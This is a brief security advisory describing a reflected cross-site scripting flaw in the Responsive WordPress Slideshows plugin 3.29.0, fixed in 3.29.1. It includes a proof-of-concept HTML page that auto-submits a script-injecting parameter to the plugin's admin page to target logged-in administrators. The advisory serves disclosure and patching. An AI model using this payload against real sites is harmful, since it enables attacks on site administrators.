WordPress Plugin Vulnerabilities

Responsive WordPress Slideshows 3.29.0 - Reflected XSS

Description

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Proof of Concept

Make a logged in admin open a page with the code below

<html>
  <body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin.php?page=metaslider" method="POST">
        <input type="hidden" name="page" value='"><svg/onload=alert(/XSS/)>'/>
        <input type="submit" name="submit" value="Send" />
    </form>
  </body>
</html>

Affects Plugins

Fixed in 3.29.1
